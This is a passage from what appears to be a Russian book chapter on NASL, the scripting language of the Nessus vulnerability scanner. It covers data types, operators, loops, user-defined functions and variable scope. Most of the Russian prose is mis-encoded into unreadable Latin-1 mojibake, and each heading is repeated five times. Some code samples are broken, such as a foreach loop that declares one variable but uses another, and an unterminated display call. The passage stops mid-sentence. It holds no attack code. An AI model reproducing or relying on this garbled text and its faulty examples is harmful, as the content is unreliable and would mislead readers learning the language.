ðåìåííàÿ íà÷èíàåò ññûëàòüñÿ íà ïóñòîé ìàññèâ. Âîò ïðèìåð èç ðóêîâîäñòâà ïî
ÿçûêó NASL:

v = NULL;
# isnull(v) âîçâðàùàåò TRUE, à typeof(v) âîçâðàùàåò "undef"
x = v(2);
# isnull(x) âîçâðàùàåò TRUE, à typeof(x) âîçâðàùàåò "undef"
# Íî òåïåðü isnull(v) âîçâðàùàåò FALSE, typeof(v) âîçâðàùàåò "array"

Áóëåâñêèå âåëè÷èíûÁóëåâñêèå âåëè÷èíûÁóëåâñêèå âåëè÷èíûÁóëåâñêèå âåëè÷èíûÁóëåâñêèå âåëè÷èíû
Äëÿ áóëåâñêèõ âåëè÷èí íåò ñïåöèàëüíîãî òèïà. Ïðîñòî êîíñòàíòà TRUE îï-
ðåäåëÿåòñÿ êàê 1, à êîíñòàíòà FALSE – êàê 0. Ïðî÷èå òèïû ïðåîáðàçóþòñÿ
â TRUE èëè FALSE ñîãëàñíî ñëåäóþùèì ïðàâèëàì:

� Öåëîå ÷èñëî èíòåðïðåòèðóåòñÿ êàê TRUE, åñëè îíî íå ðàâíî íè 0, íè
NULL;

� Ñòðîêà èíòåðïðåòèðóåòñÿ êàê TRUE, åñëè îíà íå ïóñòà, èíûìè ñëîâàìè
«0» ðàâíî TRUE â îòëè÷èå îò Perl è NASL1;

� Ìàññèâ âñåãäà èíòåðïðåòèðóåòñÿ êàê TRUE, äàæå åñëè îí ïóñò;
� NULL (èëè íåîïðåäåëåííàÿ ïåðåìåííàÿ) èíòåðïðåòèðóåòñÿ êàê FALSE.

ÎïåðàòîðûÎïåðàòîðûÎïåðàòîðûÎïåðàòîðûÎïåðàòîðû
NASL íå ïîääåðæèâàåò ïåðåãðóçêè îïåðàòîðîâ. Íèæå îáñóæäàþòñÿ âñå îïå-
ðàòîðû, èìåþùèåñÿ â ýòîì ÿçûêå.

Îïåðàòîðû âíå êàòåãîðèèÎïåðàòîðû âíå êàòåãîðèèÎïåðàòîðû âíå êàòåãîðèèÎïåðàòîðû âíå êàòåãîðèèÎïåðàòîðû âíå êàòåãîðèè
Ê òàêîâûì îòíîñÿòñÿ îïåðàòîðû ïðèñâàèâàíèÿ è èíäåêñèðîâàíèÿ ìàññèâà:

� Îïåðàòîð ïðèñâàèâàíèÿ îáîçíà÷àåòñÿ çíàêîì =. Âûðàæåíèå x = y îçíà-
÷àåò, ÷òî çíà÷åíèå y êîïèðóåòñÿ â x. Â äàííîì ïðèìåðå, åñëè ïåðåìåí-
íàÿ y íå îïðåäåëåíà, òî íåîïðåäåëåííîé ñòàíîâèòñÿ è x. Îïåðàòîð ïðè-
ñâàèâàíèÿ ïðèìåíèì êî âñåì ÷åòûðåì âñòðîåííûì òèïàì;

� Îïåðàòîð èíäåêñèðîâàíèÿ ìàññèâà îáîçíà÷àåòñÿ êâàäðàòíûìè ñêîáêà-
ìè [ ]. Èíäåêñèðîâàòü ìîæíî, â ÷àñòíîñòè, ñòðîêè. Òàê, ïîñëå ïðèñâà-
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èâàíèÿ name = Nessus çíà÷åíèå name[1] ðàâíî e. Â îòëè÷èå îò NASL1,
ÿçûê NASL2 íå ïîçâîëÿåò çàïèñûâàòü ñèìâîëû â ñòðîêó ñ ïîìîùüþ
îïåðàòîðà èíäåêñèðîâàíèÿ (òî åñòü çàïèñü name[1] = «E» íåêîððåêòíà).

Îïåðàòîðû ñðàâíåíèÿÎïåðàòîðû ñðàâíåíèÿÎïåðàòîðû ñðàâíåíèÿÎïåðàòîðû ñðàâíåíèÿÎïåðàòîðû ñðàâíåíèÿ
Ñëåäóþùèå îïåðàòîðû ñëóæàò äëÿ ñðàâíåíèÿ çíà÷åíèé â óñëîâíûõ âûðàæå-
íèÿõ è âîçâðàùàþò TRUE èëè FALSE. Âñå îíè ïðèìåíèìû ê ëþáîìó èç ÷åòû-
ðåõ òèïîâ äàííûõ:

� == – ýòî îïåðàòîð ñðàâíåíèÿ íà ðàâåíñòâî. Îí âîçâðàùàåò TRUE, åñëè
çíà÷åíèÿ àðãóìåíòîâ îäèíàêîâû, èíà÷å FALSE;

� != – ýòî îïåðàòîð ñðàâíåíèÿ íà íåðàâåíñòâî. Îí âîçâðàùàåò TRUE, åñëè
çíà÷åíèÿ àðãóìåíòîâ ðàçëè÷íû, èíà÷å FALSE;

� > – ýòî îïåðàòîð «áîëüøå». Ïðè ñðàâíåíèè öåëûõ ÷èñåë îí ðàáîòàåò
êàê è îæèäàåòñÿ. Ñòðîêè ñðàâíèâàþòñÿ íà îñíîâå êîäà ASCII. Íàïðè-
ìåð, (a < b), (A < b) è (A < B) – èñòèííûå âûðàæåíèÿ, òîãäà êàê (a < B) –
ëîæíîå. Ñëåäîâàòåëüíî, äëÿ ñðàâíåíèÿ â àëôàâèòíîì ïîðÿäêå áåç ó÷åòà
ðåãèñòðà íóæíî ïðåäâàðèòåëüíî ïðåîáðàçîâàòü îáå ñòðîêè â âåðõíèé
èëè íèæíèé ðåãèñòð. Ïðèìåíåíèå îïåðàòîðîâ «áîëüøå» è «ìåíüøå»
ê îïåðàíäàì, îäíèì èç êîòîðûõ ÿâëÿåòñÿ ÷èñëî, à äðóãèì – ñòðîêà, äàåò
íåîïðåäåëåííûå ðåçóëüòàòû;

� >= – ýòî îïåðàòîð «áîëüøå èëè ðàâíî»;
� < – ýòî îïåðàòîð «ìåíüøå»;
� <= – ýòî îïåðàòîð «ìåíüøå èëè ðàâíî».

Àðèôìåòè÷åñêèå îïåðàòîðûÀðèôìåòè÷åñêèå îïåðàòîðûÀðèôìåòè÷åñêèå îïåðàòîðûÀðèôìåòè÷åñêèå îïåðàòîðûÀðèôìåòè÷åñêèå îïåðàòîðû
Ñëåäóþùèå îïåðàòîðû âûïîëíÿþò ñòàíäàðòíûå àðèôìåòè÷åñêèå îïåðàöèè
íàä öåëûìè ÷èñëàìè. Íèæå ìû åùå ñêàæåì, ÷òî íåêîòîðûå èç íèõ âåäóò ñåáÿ
ïî-ðàçíîìó â çàâèñèìîñòè îò òèïîâ îïåðàíäîâ. Íàïðèìåð, äëÿ öåëûõ ÷èñåë +
îáîçíà÷àåò îáû÷íîå ñëîæåíèå, à äëÿ ñòðîê – êîíêàòåíàöèþ:

� + îáîçíà÷àåò îïåðàöèþ ñëîæåíèÿ, åñëè îïåðàíäû – öåëûå ÷èñëà;
� - îáîçíà÷àåò îïåðàöèþ âû÷èòàíèÿ, åñëè îïåðàíäû – öåëûå ÷èñëà;
� * îáîçíà÷àåò óìíîæåíèå;
� / îáîçíà÷àåò äåëåíèå, ïðè ýòîì îñòàòîê îòáðàñûâàåòñÿ (ò.å. 20 / 6 == 3);
� NASL íå ïîääåðæèâàåò àðèôìåòèêè ñ ïëàâàþùåé òî÷êîé;
� äåëåíèå íà 0 äàåò ðåçóëüòàò 0, à íå ïðèâîäèò ê çàâåðøåíèþ èíòåðïðåòà-

òîðà;
� % îáîçíà÷àåò îïåðàöèþ âçÿòèÿ îñòàòêà îò äåëåíèÿ (ò.å. 20 % 6 == 2).

Åñëè âòîðîé îïåðàíä ðàâåí 0, òî âîçâðàùàåòñÿ 0;
� ** îáîçíà÷àåò âîçâåäåíèå â ñòåïåíü (íàïðèìåð, 2 ** 3 == 8).
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Îïåðàòîðû ðàáîòû ñî ñòðîêàìèÎïåðàòîðû ðàáîòû ñî ñòðîêàìèÎïåðàòîðû ðàáîòû ñî ñòðîêàìèÎïåðàòîðû ðàáîòû ñî ñòðîêàìèÎïåðàòîðû ðàáîòû ñî ñòðîêàìè
Ñòðîêîâûå îïåðàòîðû îáåñïå÷èâàþò áîëåå âûñîêèé óðîâåíü ðàáîòû ñî ñòðî-
êàìè. Îíè ïîçâîëÿþò êîíêàòåíèðîâàòü ñòðîêè, âû÷èòàòü îäíó ñòðîêó èç äðó-
ãîé, âûïîëíÿòü ñðàâíåíèå è ñîïîñòàâëåíèå ñ ðåãóëÿðíûì âûðàæåíèåì. Â ñî-
÷åòàíèè ñ ôóíêöèÿìè èç áèáëèîòåêè NASL âñòðîåííûå îïåðàòîðû ïîçâîëÿ-
þò ìàíèïóëèðîâàòü ñòðîêàìè òàê æå óäîáíî, êàê â ÿçûêàõ Python èëè PHP.
Õîòÿ ðàáîòàòü ñî ñòðîêàìè êàê ñ ìàññèâàìè ñèìâîëîâ (àíàëîãè÷íî C) âñå
åùå ìîæíî, íî òåïåðü ýòî óæå íå ÿâëÿåòñÿ íåîáõîäèìîñòüþ:

� + îáîçíà÷àåò êîíêàòåíàöèþ (ñöåïëåíèå) ñòðîê. ×òîáû èçáåæàòü âîç-
ìîæíûõ íåîäíîçíà÷íîñòåé ïðè ïðåîáðàçîâàíèè òèïîâ, ðåêîìåíäóåòñÿ
ïðèìåíÿòü ôóíêöèþ string;

� – îáîçíà÷àåò âû÷èòàíèå ñòðîê. Â ðåçóëüòàòå ïåðâîå âõîæäåíèå îäíîé
ñòðîêè â äðóãóþ óäàëÿåòñÿ (íàïðèìåð, Nessus – ess == Nus);

� [ ] âîçâðàùàåò ñèìâîë ñòðîêè, îá ýòîì ìû óæå ãîâîðèëè (íàïðèìåð,
åñëè str == Nessus, òî str[0] == N);

� >< îáîçíà÷àåò îïåðàöèþ ïîèñêà ïîäñòðîêè. Îíà âîçâðàùàåò TRUE, åñëè
ïåðâàÿ ñòðîêà âõîäèò âî âòîðóþ (íàïðèìåð, us >< Nessus âîçâðàùàåò
TRUE);

� Îïåðàòîð >|< ïî ñìûñëó ïðîòèâîïîëîæåí ><. Îí âîçâðàùàåò TRUE,
åñëè ïåðâàÿ ñòðîêà íå âõîäèò âî âòîðóþ;

� =~ – ýòî îïåðàòîð ñîïîñòàâëåíèÿ ñ ðåãóëÿðíûì âûðàæåíèåì. Îí âîç-
âðàùàåò TRUE, åñëè ñòðîêà ñîîòâåòñòâóåò ðåãóëÿðíîìó âûðàæåíèþ, è
FALSE â ïðîòèâíîì ñëó÷àå. Çàïèñü s =~ [abc]+zzz ôóíêöèîíàëüíî ýêâè-
âàëåíòíà òàêîìó âûçîâó ôóíêöèè ereg(string:s, pattern: [abc]+zzzz, icase:1);

� !~ îáîçíà÷àåò îòñóòñòâèå ñîîòâåòñòâèÿ ðåãóëÿðíîìó âûðàæåíèþ;
� Îïåðàòîðû =~ è !~ âîçâðàùàþò NULL, åñëè ðåãóëÿðíîå âûðàæåíèå ñî-

ñòàâëåíî íåâåðíî.

Ëîãè÷åñêèå îïåðàòîðûËîãè÷åñêèå îïåðàòîðûËîãè÷åñêèå îïåðàòîðûËîãè÷åñêèå îïåðàòîðûËîãè÷åñêèå îïåðàòîðû
Ëîãè÷åñêèå îïåðàòîðû âîçâðàùàþò TRUE èëè FALSE, òî åñòü 1 èëè 0 ñîîòâåò-
ñòâåííî â çàâèñèìîñòè îò ñâîèõ îïåðàíäîâ:

� ! – ýòî îïåðàòîð ëîãè÷åñêîãî îòðèöàíèÿ;
� && – ëîãè÷åñêîå È. Îïåðàòîð âîçâðàùàåò TRUE, åñëè îáà àðãóìåíòà ðàâ-

íû TRUE. Ïðè ýòîì ïîääåðæèâàåòñÿ ñîêðàùåííîå âû÷èñëåíèå, òî åñòü
åñëè ïåðâûé îïåðàíä ðàâåí FALSE, òî âòîðîé íå âû÷èñëÿåòñÿ âîâñå;

� || – ëîãè÷åñêîå ÈËÈ. Îïåðàòîð âîçâðàùàåò TRUE, åñëè õîòÿ áû îäèí èç
àðãóìåíòîâ ðàâåí TRUE. Ïðè ýòîì ïîääåðæèâàåòñÿ ñîêðàùåííîå âû-
÷èñëåíèå, òî åñòü åñëè ïåðâûé îïåðàíä ðàâåí TRUE, òî âòîðîé íå âû-
÷èñëÿåòñÿ âîâñå.

Синтаксис языка NASL
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Ïîáèòîâûå îïåðàòîðûÏîáèòîâûå îïåðàòîðûÏîáèòîâûå îïåðàòîðûÏîáèòîâûå îïåðàòîðûÏîáèòîâûå îïåðàòîðû
Ïîáèòîâûå îïåðàòîðû ïîçâîëÿþò ìàíèïóëèðîâàòü îòäåëüíûìè áèòàìè öå-
ëûõ ÷èñåë è äâîè÷íûõ äàííûõ.

� ~ – ïîáèòîâîå ÍÅ;
� & – ïîáèòîâîå È;
� | – ïîáèòîâîå ÈËÈ;
� ^ – ïîáèòîâîå ÈÑÊËÞ×ÀÞÙÅÅ ÈËÈ;
� << – ëîãè÷åñêèé ñäâèã âëåâî. Ñäâèã âëåâî íà îäèí áèò ýêâèâàëåíòåí

óìíîæåíèþ íà 2 (íàïðèìåð, x << 2 – ýòî òî æå ñàìîå, ÷òî x * 4);
� >> – àðèôìåòè÷åñêèé (ñ ó÷åòîì çíàêîâîãî áèòà) ñäâèã âïðàâî. Çíàêî-

âûé áèò ðàñïðîñòðàíÿåòñÿ íà ðåçóëüòàò, òî åñòü x >> 2 – òî æå ñàìîå,
÷òî x / 4;

� >>> – ëîãè÷åñêèé (áåç ó÷åòà çíàêîâîãî áèòà) ñäâèã âïðàâî. Çíàêîâûé
áèò èãíîðèðóåòñÿ (åñëè x áîëüøå 0, òî x >> 2 – òî æå ñàìîå, ÷òî x / 4).

Îïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå CÎïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå CÎïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå CÎïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå CÎïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå C
Äëÿ óäîáñòâà â NASL äîáàâëåíû îïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå C.

� ++ è -- îáîçíà÷àþò îïåðàöèè èíêðåìåíòà è äåêðåìåíòà. ++ óâåëè÷èâàåò
çíà÷åíèå ïåðåìåííîé íà 1, à -- óìåíüøàåò íà 1. Îáà ýòèõ îïåðàòîðà ìîãóò
ïðèìåíÿòüñÿ â äâóõ ôîðìàõ;

� Ïðè èñïîëüçîâàíèè ñóôôèêñíîé çàïèñè (x++ èëè x--) âîçâðàùàåòñÿ
ñòàðîå çíà÷åíèå, êîòîðîå ïåðåìåííàÿ èìåëà äî óâåëè÷åíèÿ. Ðàññìîò-
ðèì, òàêîé êîä:
x = 5;
display(x, x++, x);

� Îí íàïå÷àòàåò 556, à çíà÷åíèå x ïîñëå âûïîëíåíèÿ áóäåò ðàâíî 6. Àíà-
ëîãè÷íî, êîä
x = 5;
display(x, x--, x);

íàïå÷àòàåò 554, à çíà÷åíèå x ñòàíåò ðàâíî 4;
� Äëÿ îïåðàòîðîâ èíêðåìåíòà è äåêðåìåíòà âîçìîæíà òàêæå ïðåôèêñíàÿ

çàïèñü (++x èëè --x). Ïðè ýòîì çíà÷åíèå ñíà÷àëà ìîäèôèöèðóåòñÿ, à
ïîòîì âîçâðàùàåòñÿ. Ðàññìîòðèì, òàêîé ïðèìåð:
x = 5;
display(x, ++x, x);

� Áóäåò íàïå÷àòàíî 566, à çíà÷åíèå x ñòàíåò ðàâíî 6. Àíàëîãè÷íî, êîä
x = 5;
display(x, --x, x);

íàïå÷àòàåò 544, à çíà÷åíèå x ñòàíåò ðàâíî 4;
� Â NASL åñòü òàêæå óäîáíîå ñèíòàêñè÷åñêîå ñîêðàùåíèå. ×àñòî áûâàåò,

÷òî íàä ïåðåìåííîé ïðîèçâîäèòñÿ íåêîòîðîå äåéñòâèå, ðåçóëüòàò êîòî-
ðîãî ïðèñâàèâàåòñÿ òîé æå ïåðåìåííîé. Åñëè, íàïðèìåð, íóæíî ïðè-
áàâèòü ê x çíà÷åíèå 10, òî ìîæíî íàïèñàòü:
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x = x + 10;

à ìîæíî è òàê:
x += 10;

� Ñîêðàùåííàÿ çàïèñü ïðèìåíèìà ê ñëåäóþùèì îïåðàòîðàì: +, -, *, /, %,
<<, >> è >>>.

Óïðàâëÿþùèå êîíñòðóêöèèÓïðàâëÿþùèå êîíñòðóêöèèÓïðàâëÿþùèå êîíñòðóêöèèÓïðàâëÿþùèå êîíñòðóêöèèÓïðàâëÿþùèå êîíñòðóêöèè
Îáùèé òåðìèí «óïðàâëÿþùèå êîíñòðóêöèè» îòíîñèòñÿ ê óñëîâíûì îïåðà-
òîðàì, öèêëàì, ôóíêöèÿì è ñâÿçàííûì ñ íèìè èíñòðóêöèÿì return è break.
Âñå ýòè èíñòðóêöèè ïîçâîëÿþò óïðàâëÿòü ïîòîêîì âûïîëíåíèÿ NASL-ñöåíà-
ðèåâ. NASL ïîääåðæèâàåò êëàññè÷åñêèå èíñòðóêöèè if-then-else, íî íå ïîä-
äåðæèâàåò ïðåäëîæåíèé case è switch. Â NASL åñòü öèêëû âèäà for, foreach, while
è repeat-until. Èíñòðóêöèÿ break ïîçâîëÿåò âûéòè èç öèêëà, äàæå åñëè óñëîâèå
öèêëà åùå îñòàåòñÿ èñòèííûì. Â NASL òàêæå èìåþòñÿ âñòðîåííûå è ïîëüçî-
âàòåëüñêèå ôóíêöèè, ïðè÷åì â îáîèõ ñëó÷àÿõ äëÿ âîçâðàòà óïðàâëåíèÿ âûçû-
âàþùåé ïðîãðàììå ïðèìåíÿåòñÿ èíñòðóêöèÿ return.

Èíñòðóêöèè ifÈíñòðóêöèè ifÈíñòðóêöèè ifÈíñòðóêöèè ifÈíñòðóêöèè if
NASL ïîääåðæèâàåò èíñòðóêöèè if è else, íî íå ïîääåðæèâàåò elsif. Èìèòèðî-
âàòü ôóíêöèîíàëüíîñòü èíñòðóêöèè elsif ìîæíî, ñöåïèâ íåñêîëüêî èíñòðóê-
öèé if.

if (x == 10) {
   display("x ðàâíî 10");
} else if (x > 10) {
  display("x áîëüøå 10");
} else {
  display("x ìåíüøå 10");
}

Öèêëû forÖèêëû forÖèêëû forÖèêëû forÖèêëû for
Ñèíòàêñèñ öèêëà for ïðàêòè÷åñêè íå îòëè÷àåòñÿ îò ïðèíÿòîãî â ÿçûêå C:

for (íà÷àëüíîå_âûðàæåíèå; óñëîâèå_öèêëà; âûðàæåíèå_öèêëà) {
    êîä;
}

Â ñëåäóþùåì ïðèìåðå ïå÷àòàþòñÿ ÷èñëà îò 1 äî 100 (ïî îäíîìó íà ñòðîêå):

for (i=1; i<=100; i++) {
    display(i, '\n');
}

Ïîñëå çàâåðøåíèÿ ýòîãî öèêëà çíà÷åíèå i ðàâíî 101. Ýòî îáúÿñíÿåòñÿ òåì,
÷òî âûðàæåíèå_öèêëà âû÷èñëÿåòñÿ íà êàæäîé èòåðàöèè, ïîêà óñëîâèå_öèêëà íå
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ñòàíåò ðàâíî FALSE. Íî â äàííîì ñëó÷àå óñëîâèå (i <= 100) ñòàíîâèòñÿ ðàâ-
íûì FALSE òîëüêî ïðè i ðàâíîì 101.

Öèêëû foreachÖèêëû foreachÖèêëû foreachÖèêëû foreachÖèêëû foreach
Öèêë foreach ïðèìåíÿåòñÿ äëÿ ïåðåáîðà ýëåìåíòîâ ìàññèâà. Â ñëåäóþùåì ïðè-
ìåðå ïåðåìåííîé x ïîñëåäîâàòåëüíî ïðèñâàèâàåòñÿ çíà÷åíèå êàæäîãî ýëå-
ìåíòà ìàññèâà array:

foreach x (array) {
    display(x, '\n');
}

Ìîæíî òàêæå ïåðåáðàòü âñå ýëåìåíòû àññîöèàòèâíîãî ìàññèâà âîñïîëü-
çîâàâøèñü öèêëîì foreach â ñî÷åòàíèè ñ ôóíêöèåé keys, âîçâðàùàþùåé âñå
êëþ÷è:

foreach x (keys(array)) {
    display("array[", k, "] ðàâíî", array[k], '\n');
}

Öèêëû whileÖèêëû whileÖèêëû whileÖèêëû whileÖèêëû while
Öèêë while ïðîäîëæàåò âûïîëíÿòüñÿ, ïîêà åãî óñëîâèå îñòàåòñÿ èñòèííûì. Åñëè
ïåðåä íà÷àëîì èñïîëíåíèÿ óñëîâèå óæå ëîæíî, öèêë íå âûïîëíÿåòñÿ íè ðàçó.

i = 1;
while (i <= 10) {
   display(i, '\n');
   i++;
}

Öèêëû repeat-untilÖèêëû repeat-untilÖèêëû repeat-untilÖèêëû repeat-untilÖèêëû repeat-until
Öèêë repeat-until àíàëîãè÷åí öèêëó while, íî óñëîâèå âû÷èñëÿåòñÿ ïîñëå êàæ-
äîé èòåðàöèè, à íå ïåðåä íåé. Ñëåäîâàòåëüíî, öèêë repeat-until îáÿçàòåëüíî
áóäåò âûïîëíåí õîòÿ áû îäèí ðàç. Âîò ïðîñòîé ïðèìåð:

x = 0;
repeat {
   display(++x, '\n');
} until (x >= 10);

Èíñòðóêöèÿ breakÈíñòðóêöèÿ breakÈíñòðóêöèÿ breakÈíñòðóêöèÿ breakÈíñòðóêöèÿ break
Èíñòðóêöèÿ break ïðèìåíÿåòñÿ äëÿ òîãî, ÷òîáû ïðåðâàòü âûïîëíåíèå öèêëà
äî òîãî, êàê åãî óñëîâèå îêàæåòñÿ ëîæíûì. Â ñëåäóþùåì ïðèìåðå ïîêàçàíî,
êàê ìîæíî âîñïîëüçîâàòüñÿ èíñòðóêöèåé break äëÿ ïîäñ÷åòà ÷èñëà íóëåé
â ñòðîêå str ïåðåä ïåðâûì íåíóëåâûì çíà÷åíèåì. Íå çàáûâàéòå, ÷òî åñëè
â ñòðîêå 20 ñèìâîëîâ, òî ïîñëåäíèé èç íèõ îáîçíà÷àåòñÿ str[19].
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x = 0;
len = strlen(str);
while (x < len) {
   if (str[x] != "0") {
      break;
   }
   x++;
}
if (x == len) {
   display("str ñîñòîèò èç îäíèõ íóëåé");
} else {
   display("ïåðåä ïåðâûì íå-íóëåì âñòðåòèëîñü ", x, " íóëåé".);

Ïîëüçîâàòåëüñêèå ôóíêöèèÏîëüçîâàòåëüñêèå ôóíêöèèÏîëüçîâàòåëüñêèå ôóíêöèèÏîëüçîâàòåëüñêèå ôóíêöèèÏîëüçîâàòåëüñêèå ôóíêöèè
Ïîìèìî ìíîæåñòâà âñòðîåííûõ â NASL ôóíêöèé, âû ìîæåòå ïèñàòü ñâîè
ñîáñòâåííûå. Ïîëüçîâàòåëüñêèå ôóíêöèè èìåþò ñëåäóþùèé ôîðìàò:

function function_name(argument1, argument2, ...) {
  êîä;
}

Íàïðèìåð, ôóíêöèþ, ïðèíèìàþùóþ â êà÷åñòâå àðãóìåíòà ñòðîêó è âîçâðà-
ùàþùóþ ìàññèâ, ñîñòîÿùèé èç çíà÷åíèé ASCII-êîäîâ êàæäîãî ñèìâîëà,
ìîæíî çàïèñàòü òàê:

function str_to_ascii (in_string) {
  local_var result_array;
  local_var len;
  local_var i;

  len = strlen(in_string);
  for (i = 0; i < len; i++) {
      result_array[i] = ord(in_string[i]);
  }
  return (result_array);
}

display (str_to_ascii(in_string: "FreeBSD 4.8"), '\n');

Ïîñêîëüêó â ÿçûêå NASL àðãóìåíòû äîëæíû áûòü èìåíîâàííûìè, òî ïå-
ðåäàâàòü èõ ìîæíî â ëþáîì ïîðÿäêå. Êðîìå òîãî, åñëè íåêîòîðûå àðãóìåíòû
íåîáÿçàòåëüíû, òî èõ ìîæíî íå ïåðåäàâàòü âîâñå.

Îáëàñòü âèäèìîñòè ïåðåìåííîé îïðåäåëÿåòñÿ àâòîìàòè÷åñêè, íî îáëàñòü,
âûáðàííóþ ïî óìîë÷àíèþ, ìîæíî ïåðåîïðåäåëèòü, âîñïîëüçîâàâøèñü êëþ-
÷åâûìè ñëîâàìè local_var è global_var ïðè îáúÿâëåíèè ïåðåìåííîé. Ìû ðåêî-
ìåíäóåì òàê è ïîñòóïàòü âî èçáåæàíèå ñëó÷àéíîãî çàòèðàíèÿ çíà÷åíèÿ îä-
íîèìåííîé ïåðåìåííîé, îáúÿâëåííîé â îáúåìëþùåé îáëàñòè âèäèìîñòè.
Ðàññìîòðèì òàêîé ïðèìåð:

Синтаксис языка NASL
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i = 100;

function print_garbage () {
   for (i = 0; i < 5; i++) {
       display(i);
   }
   display(" — ");
   return TRUE;
}

print_garbage();
display("Çíà÷åíèå i ðàâíî ", i);

Â ðåçóëüòàòå âûïîëíåíèÿ áóäåò íàïå÷àòàíà ñòðîêà 01234--- Çíà÷åíèå i ðàâíî 5.
Ãëîáàëüíàÿ ïåðåìåííàÿ i áûëà çàòåðòà âíóòðè öèêëà for â ôóíêöèè print_garbage,
ïîñêîëüêó íå áûëî êëþ÷åâîãî ñëîâà local_var.

NASL ïîääåðæèâàåò ðåêóðñèþ.

Âñòðîåííûå ôóíêöèèÂñòðîåííûå ôóíêöèèÂñòðîåííûå ôóíêöèèÂñòðîåííûå ôóíêöèèÂñòðîåííûå ôóíêöèè
Â NASL âñòðîåíû äåñÿòêè ôóíêöèé, îáëåã÷àþùèõ íàïèñàíèå ñöåíàðèåâ. Âû-
çûâàþòñÿ îíè òî÷íî òàê æå, êàê è ïîëüçîâàòåëüñêèå, è óæå íàõîäÿòñÿ â ãëî-
áàëüíîì ïðîñòðàíñòâå èìåí (òî åñòü èõ íå íóæíî âêëþ÷àòü, èìïîðòèðîâàòü
èëè îïðåäåëÿòü). Íèæå â ýòîé ãëàâå áóäóò ðàññìîòðåíû ôóíêöèè äëÿ ìàíèïó-
ëèðîâàíèÿ ñåòåâûìè ñîåäèíåíèÿìè, ñîçäàíèÿ ïàêåòîâ è âçàèìîäåéñòâèÿ ñ áà-
çîé çíàíèé Nessus.

Èíñòðóêöèÿ returnÈíñòðóêöèÿ returnÈíñòðóêöèÿ returnÈíñòðóêöèÿ returnÈíñòðóêöèÿ return
Ýòà èíñòðóêöèÿ âîçâðàùàåò çíà÷åíèå èç ôóíêöèè. Ìîæíî âåðíóòü çíà÷åíèå
ëþáîãî âñòðîåííîãî òèïà (öåëîå ÷èñëî, ñòðîêó, ìàññèâ èëè NULL). Ôóíêöèè
â NASL ìîãóò âîçâðàùàòü îäíî çíà÷åíèå èëè íå âîçâðàùàòü íèêàêîãî çíà-
÷åíèÿ (íàïðèìåð, çàïèñü return (10, 20) íåêîððåêòíà).

Написание сценариев
на языке NASL
Âûøå ìû óæå ãîâîðèëè, ÷òî NASL ïðîåêòèðîâàëñÿ êàê ïðîñòîé, óäîáíûé,
ìîäóëüíûé, ýôôåêòèâíûé è áåçîïàñíûé ÿçûê. Â ýòîì ðàçäåëå ìû ðàññìîò-
ðèì îñîáåííîñòè ïðîãðàììèðîâàíèÿ íà NASL è ïîçíàêîìèì âàñ ñ íåêîòîðû-
ìè èíñòðóìåíòàìè è ìåòîäèêàìè, ïîìîãàþùèìè NASL äîñòè÷ü çàÿâëåííûõ
öåëåé. Ìû îïèøåì íåêîòîðûå êàòåãîðèè ôóíêöèé è ïðîèëëþñòðèðóåì èõ
èñïîëüçîâàíèå íà ïðèìåðàõ, îäíàêî ïðèâåñòè ïîëíûé ïåðå÷åíü âñåõ ôóíê-
öèé â äàííîé ãëàâå ìû íå ñìîæåì. Äëÿ ýòîãî âàì ëó÷øå îáðàòèòüñÿ ê «Ñïðà-
âî÷íîìó ðóêîâîäñòâó ïî ÿçûêó NASL2».
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Ñöåíàðèé íà ÿçûêå NASL ìîæåò âûñòóïàòü â îäíîé èç äâóõ ðîëåé. Íåêîòî-
ðûå ñöåíàðèè ïèøóòñÿ äëÿ ëè÷íîãî ïîëüçîâàíèÿ âî èìÿ ðåøåíèÿ êîíêðåò-
íîé çàäà÷è, êîòîðàÿ áîëüøå íèêîìó íå èíòåðåñíà. Äðóãèå æå ïðîâåðÿþò íà-
ëè÷èå óÿçâèìîñòåé è îøèáîê êîíôèãóðàöèè ñèñòåìû è ïîòîìó ìîãóò ïðåä-
ñòàâëÿòü öåííîñòü äëÿ âñåãî ñîîáùåñòâà ïîëüçîâàòåëåé Nessus, ïîñêîëüêó
ñëóæàò ïîâûøåíèþ áåçîïàñíîñòè ñåòåé ïî âñåìó ìèðó.

Написание сценариев для личного пользования

Ïðîãðàììèðóÿ íà NASL, î÷åíü âàæíî íå çàáûâàòü, ÷òî ÿçûê áûë ñïðîåêòè-
ðîâàí ïðåæäå âñåãî äëÿ îáëåã÷åíèÿ ïîèñêà óÿçâèìîñòåé. Ïîýòîìó â íåì åñòü
äåñÿòêè âñòðîåííûõ ôóíêöèé, óïðîùàþùèõ ìàíèïóëèðîâàíèå ñåòåâûìè ñî-
êåòàìè, ñîçäàíèå è ìîäèôèêàöèþ ïàêåòîâ è ðàáîòó ñ ïðîòîêîëàìè âåðõíåãî
óðîâíÿ (íàïðèìåð, HTTP, FTP è SSL). Ýòè çàäà÷è íà NASL ðåøàþòñÿ ïðîùå,
÷åì íà óíèâåðñàëüíûõ ÿçûêàõ.

Åñëè ñöåíàðèé ïèøåòñÿ äëÿ ðåøåíèÿ óçêîñïåöèàëüíîé çàäà÷è, òî íåò íóæ-
äû çàáîòèòüñÿ î ñîáëþäåíèè òðåáîâàíèé, ïðåäúÿâëÿåìûõ ê ñöåíàðèÿì îá-
ùåãî ïîëüçîâàíèÿ. Âû ìîæåòå ñêîíöåíòðèðîâàòüñÿ èìåííî íà òåõ àñïåêòàõ,
êîòîðûå ñëóæàò ïîëó÷åíèþ æåëàåìîãî ðåçóëüòàòà. Òóò-òî è ïðèãîäÿòñÿ ôóí-
êöèè, âêëþ÷åííûå â áèáëèîòåêó NASL.

Ñåòåâûå ôóíêöèèÑåòåâûå ôóíêöèèÑåòåâûå ôóíêöèèÑåòåâûå ôóíêöèèÑåòåâûå ôóíêöèè
Â NASL åñòü íåìàëî ôóíêöèé, îáåñïå÷èâàþùèõ ïðîñòîé è áûñòðûé äîñòóï ê
óäàëåííûì õîñòàì ïî ïðîòîêîëàì TCP è UDP. Ñ èõ ïîìîùüþ ìîæíî îòêðû-
âàòü è çàêðûâàòü ñîêåòû, ïîñûëàòü è ïðèíèìàòü äàííûå, âûÿñíÿòü, ñîõðàíèë
